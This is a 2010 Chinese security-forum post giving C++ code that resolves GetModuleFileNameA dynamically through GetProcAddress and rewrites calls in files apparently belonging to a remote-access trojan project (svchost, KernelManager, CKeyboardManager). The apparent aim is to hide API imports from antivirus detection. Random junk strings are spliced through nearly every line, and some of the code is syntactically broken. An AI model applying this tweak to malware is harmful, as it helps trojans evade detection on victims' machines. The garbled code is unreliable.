Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记- i8 R5 n" u  ^4 |  e
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h, B5 m( E1 N( }6 Q! }/ @
----------------------------------------; ^/ x/ S+ `  \
DTDY.h:1 E* r% H( G0 v1 ?& K& V% B+ w

3 w* B& V; i7 c/ ^#if _MSC_VER>1000
  A$ Y5 U+ x; k) Y6 r- _#pragma once/ k" T# J- G$ S! z  b- o
#endif //_MSC_VER>1000* h0 z. v* f; F
#include<windows.h>  |; }  j% n8 S$ I- r

0 d5 I  F" M  ~2 b, H8 T; j1 stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);; _; @3 d# _+ ~( t/ E
class DTDY9 M- I$ |0 Q8 M: J4 O
{
% c2 T$ p, M% R- `public:* ]( ^, K! P8 ?" M: `( t
DTDY();6 W8 z) k# U# M. K) P
virtual ~DTDY();
3 z$ s3 f# b7 Y7 V* P! n! Ypublic:0 g- q8 X* y" u% m6 I" ?
static pGetModuleFileNameA MyGetModuleFileName;
& l1 G- E5 e& ]# h4 q) R: mstatic BOOL FunInitiallization();
6 S9 P/ u; f2 I6 E! D% N( A5 q};& \, g( q) F( ^" J. f2 ^  o$ a$ t
#endif
* J% t: f/ z9 f  m# V2 t----------------------------------------$ s6 c* X; p  v- Z! {0 W' |
. a  m7 c3 x8 w' O% F
DTDY.cpp:
! G& K& L7 z* s4 Z( y: ]( m: @; b# e* r3 C4 Y: y; P0 P" L
#include "DTDY.h"5 z; }/ M0 f, S
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% j1 X& v8 L! x2 D) k6 I, [DTDY:TDY()/ t# Q8 ?% _$ i* D3 z
{
+ N5 T' s+ n8 t; z# q. T, }}: L# J4 S  C( {; d4 E
DTDY::~DTDY()
2 e2 @& v0 Z0 ~+ U{1 |; K3 e1 A! ^+ z
}
# A7 V; e9 T- |) BBOOL DTDY::FunInitiallization()
0 r1 ^$ i0 o( _. O% e0 ~$ c% F{
4 p+ Q# d7 g- j2 U* ~HMODULE hModule=LoadLibrary("kernel32.dll");7 J9 s9 M' B' u/ ~2 d
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");* g7 P% U& F3 u2 U/ l- {
if(!MyGetModuleFileName=) return FALSE;
  {2 B& n& q0 W" ]' d
8 D1 V- t+ \% l5 r: @( S" [return TRUE;
2 `8 G6 G6 Y! y  }$ p5 a: s# f2 ^}
4 [6 }9 @! Q( E8 Z! g' [----------------------------------------
1 i; t& w3 g  _' xsvchost.cpp:
+ m: B5 H& d4 U: ^; F$ h' J2 e  ]$ Q# ~9 o2 U( S: J
#include "DTDY.h". R1 F/ T4 K4 a  c

$ ~4 ^0 s) Q: LBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)( U; K/ X0 ^2 }& D2 M' Q$ F
{
# R, S* ~6 B, `% O  Zswitch(ul_reason_for_call)! ^2 X3 d8 r# n8 u! J3 n
{
$ Q3 B/ m( \! F. v# @case DLL_PROCESS_ATTACH:+ d) h% [1 `' i5 U4 ]; }8 a+ A# k  u
if(!DTDY::FunInitiallization()) return FALSE;
, G3 V. ?, W* A1 v2 y
+ W& m2 B7 s/ X- ^) b  bbreak;
9 ?+ {9 ^+ q& e+ u1 Z# D8 }}
- q( j3 ^+ e5 ^* @2 S7 P2 u}' N! X/ r$ Z% v- p* \2 ~
5 }4 a2 w7 c/ V9 O
2 D( {1 `; J0 C; Q7 H( J
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
; e8 \1 X) Y" ^/ ~改写为
0 n, U9 O" @/ k9 @) m# VDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));+ h7 Q( B+ J, Z/ K1 a
----------------------------------------
4 @$ k% Q  v- R5 rKernelManager.cpp:
( ?1 T. T2 E% y; S; ~# y! z& D* F8 V3 h. b
#include "../DTDY.h"
0 `1 }3 N+ V6 f) N; rGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  M1 Y  _, v8 P  q, ?0 R, [改写为
1 }; j& R0 I) b% d! aDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" i9 l  L4 x% ^4 c$ H8 y2 `  n4 A
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2